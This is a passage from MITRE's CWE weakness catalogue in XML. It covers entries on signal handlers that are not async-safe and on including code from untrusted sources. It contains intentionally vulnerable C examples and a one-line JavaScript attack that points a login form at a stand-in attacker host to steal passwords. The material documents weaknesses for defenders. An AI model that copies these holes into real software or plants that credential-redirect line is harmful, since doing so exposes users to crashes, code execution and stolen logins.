               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="828" Name="Signal Handler with Functionality that is not Asynchronous-Safe" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted.</Description>
         <Extended_Description>
            <xhtml:p>This can lead to an unexpected system state with a variety of potential consequences depending on context, including denial of service and code execution.</xhtml:p>
            <xhtml:p>Signal handlers are typically intended to interrupt normal functionality of a program, or even other signals, in order to notify the process of an event. When a signal handler uses global or static variables, or invokes functions that ultimately depend on such state or its associated metadata, then it could corrupt system state that is being used by normal functionality. This could subject the program to race conditions or other weaknesses that allow an attacker to cause the program state to be corrupted. While denial of service is frequently the consequence, in some cases this weakness could be leveraged for code execution.</xhtml:p>
            <xhtml:p>There are several different scenarios that introduce this issue:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Invocation of non-reentrant functions from within the handler. One example is malloc(), which modifies internal global variables as it manages memory. Very few functions are actually reentrant.</xhtml:li>
                  <xhtml:li>Code sequences (not necessarily function calls) contain non-atomic use of global variables, or associated metadata or structures, that can be accessed by other functionality of the program, including other signal handlers. Frequently, the same function is registered to handle multiple signals.</xhtml:li>
                  <xhtml:li>The signal handler function is intended to run at most one time, but instead it can be invoked multiple times. This could happen by repeated delivery of the same signal, or by delivery of different signals that have the same handler function (CWE-831).</xhtml:li>
               </xhtml:ul>
            <xhtml:p>Note that in some environments or contexts, it might be possible for the signal handler to be interrupted itself.</xhtml:p>
            <xhtml:p>If both a signal handler and the normal behavior of the product have to operate on the same set of state variables, and a signal is received in the middle of the normal execution's modifications of those variables, the variables may be in an incorrect or corrupt state during signal handler execution, and possibly still incorrect or corrupt upon return.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="364" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>The most common consequence will be a corruption of the state of the product, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Eliminate the usage of non-reentrant functionality inside of signal handlers. This includes replacing all non-reentrant library calls with reentrant calls.</xhtml:p>
                  <xhtml:p>Note: This will not always be possible and may require large portions of the product to be rewritten or even redesigned. Sometimes reentrant-safe library alternatives will not be available. Sometimes non-reentrant interaction between the state of the system and the signal handler will be required by design.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Where non-reentrant functionality must be leveraged within a signal handler, be sure to block or mask signals appropriately. This includes blocking other signals within the signal handler itself that may also leverage the functionality. It also includes blocking all signals reliant upon the functionality when it is being accessed or modified by the normal behaviors of the product.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-26">
               <Intro_Text>This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char *logMessage;<xhtml:br/>
                     <xhtml:br/>void handler (int sigNum) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>syslog(LOG_NOTICE, "%s\n", logMessage);<xhtml:br/>free(logMessage);<xhtml:br/>
                           <xhtml:i>/* artificially increase the size of the timing window to make demonstration of this weakness easier. */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>sleep(10);<xhtml:br/>exit(0);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main (int argc, char* argv[]) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>logMessage = strdup(argv[1]);<xhtml:br/>
                           <xhtml:i>/* Register signal handlers. */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>signal(SIGHUP, handler);<xhtml:br/>signal(SIGTERM, handler);<xhtml:br/>
                           <xhtml:i>/* artificially increase the size of the timing window to make demonstration of this weakness easier. */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>sleep(10);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>SIGHUP-handler begins to execute, calling syslog().</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The attacker then sends SIGTERM.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The SIGTERM handler is invoked.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
               <Body_Text>At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.</Body_Text>
               <Body_Text>Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.</Body_Text>
               <Body_Text>Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-48">
               <Intro_Text>The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#include &lt;signal.h&gt;<xhtml:br/>#include &lt;syslog.h&gt;<xhtml:br/>#include &lt;string.h&gt;<xhtml:br/>#include &lt;stdlib.h&gt;<xhtml:br/>
                     <xhtml:br/>void *global1, *global2;<xhtml:br/>char *what;<xhtml:br/>void sh (int dummy) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>syslog(LOG_NOTICE,"%s\n",what);<xhtml:br/>free(global2);<xhtml:br/>free(global1);<xhtml:br/>
                           <xhtml:i>/* Sleep statements added to expand timing window for race condition */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>sleep(10);<xhtml:br/>exit(0);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main (int argc,char* argv[]) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>what=argv[1];<xhtml:br/>global1=strdup(argv[2]);<xhtml:br/>global2=malloc(340);<xhtml:br/>signal(SIGHUP,sh);<xhtml:br/>signal(SIGTERM,sh);<xhtml:br/>
                           <xhtml:i>/* Sleep statements added to expand timing window for race condition */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>sleep(10);<xhtml:br/>exit(0);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the following sequence of events may result in a double-free (CWE-415):</Body_Text>
               <Body_Text>
                  <xhtml:ol>
                     <xhtml:li>
                        <xhtml:div>a SIGHUP is delivered to the process</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>sh() is invoked to process the SIGHUP</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>This first invocation of sh() reaches the point where global1 is freed</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>At this point, a SIGTERM is sent to the process</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>the second invocation of sh() might do another free of global1</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>this results in a double-free (CWE-415)</xhtml:div>
                     </xhtml:li>
                  </xhtml:ol>
               </Body_Text>
               <Body_Text>This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [REF-360].</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-4109</Reference>
               <Description>Signal handler uses functions that ultimately call the unsafe syslog/malloc/s*printf, leading to denial of service via multiple login attempts</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4109</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-5051</Reference>
               <Description>Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-5051</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1349</Reference>
               <Description>unsafe calls to library functions from signal handler</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1349</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0794</Reference>
               <Description>SIGURG can be used to remotely interrupt signal handler; other variants exist.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0794</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2259</Reference>
               <Description>SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2259</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1563</Reference>
               <Description>SIGCHLD not blocked in a daemon loop while counter is modified, causing counter to get out of sync.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1563</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>SIG31-C</Entry_ID>
               <Entry_Name>Do not access or modify shared objects in signal handlers</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-360"/>
            <Reference External_Reference_ID="REF-361"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-11-08</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="829" Name="Inclusion of Functionality from Untrusted Control Sphere" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.</Description>
         <Extended_Description>
            <xhtml:p>When including third-party functionality, such as a web widget, library, or other source of functionality, the product must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.</xhtml:p>
            <xhtml:p>This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="669" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="669" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Forced Path Execution</xhtml:li>
                           <xhtml:li>Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Attack Modeling</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-21.1">
               <Phase>Architecture and Design</Phase>
               <Strategy>Enforcement by Conversion</Strategy>
               <Description>
                  <xhtml:p>When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.</xhtml:p>
                  <xhtml:p>For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-22">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Sandbox or Jail</Strategy>
               <Description>
                  <xhtml:p>Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.</xhtml:p>
                  <xhtml:p>OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.</xhtml:p>
                  <xhtml:p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.</xhtml:p>
                  <xhtml:p>Be careful to avoid CWE-243 and other weaknesses related to jails.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-34">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>
                  <xhtml:p>Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.</xhtml:p>
                  <xhtml:p>This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-6">
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>
                  <xhtml:p>Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.</xhtml:p>
                  <xhtml:p>Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-29">
               <Phase>Operation</Phase>
               <Strategy>Firewall</Strategy>
               <Description>Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-94">
               <Intro_Text>This login webpage includes a weather widget from an external website:</Intro_Text>
               <Example_Code Nature="Bad" Language="HTML">
                  <xhtml:div>&lt;div class="header"&gt; Welcome!<xhtml:div style="margin-left:1em;">&lt;div id="loginBox"&gt;Please Login:<xhtml:div style="margin-left:1em;">&lt;form id ="loginForm" name="loginForm" action="login.php" method="post"&gt;<xhtml:br/>Username: &lt;input type="text" name="username" /&gt;<xhtml:br/>&lt;br/&gt;<xhtml:br/>Password: &lt;input type="password" name="password" /&gt;<xhtml:br/>&lt;input type="submit" value="Login" /&gt;<xhtml:br/>&lt;/form&gt;</xhtml:div>&lt;/div&gt;<xhtml:br/>&lt;div id="WeatherWidget"&gt;<xhtml:div style="margin-left:1em;">&lt;script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"&gt;&lt;/script&gt;</xhtml:div>&lt;/div&gt;</xhtml:div>&lt;/div&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).</Body_Text>
               <Body_Text>For example, user login information could easily be stolen with a single line added to weatherwidget.js:</Body_Text>
               <Example_Code Nature="Attack" Language="JavaScript">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>...Weather widget code....</xhtml:i>
                     <xhtml:br/>document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";</xhtml:div>
               </Example_Code>
               <Body_Text>This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2010-2076</Reference>
               <Description>Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2076</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0285</Reference>
               <Description>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0285</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0030</Reference>
               <Description>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0030</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0068</Reference>
               <Description>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0068</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2157</Reference>
               <Description>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2157</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2162</Reference>
               <Description>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2162</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2198</Reference>
               <Description>Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.</Description>
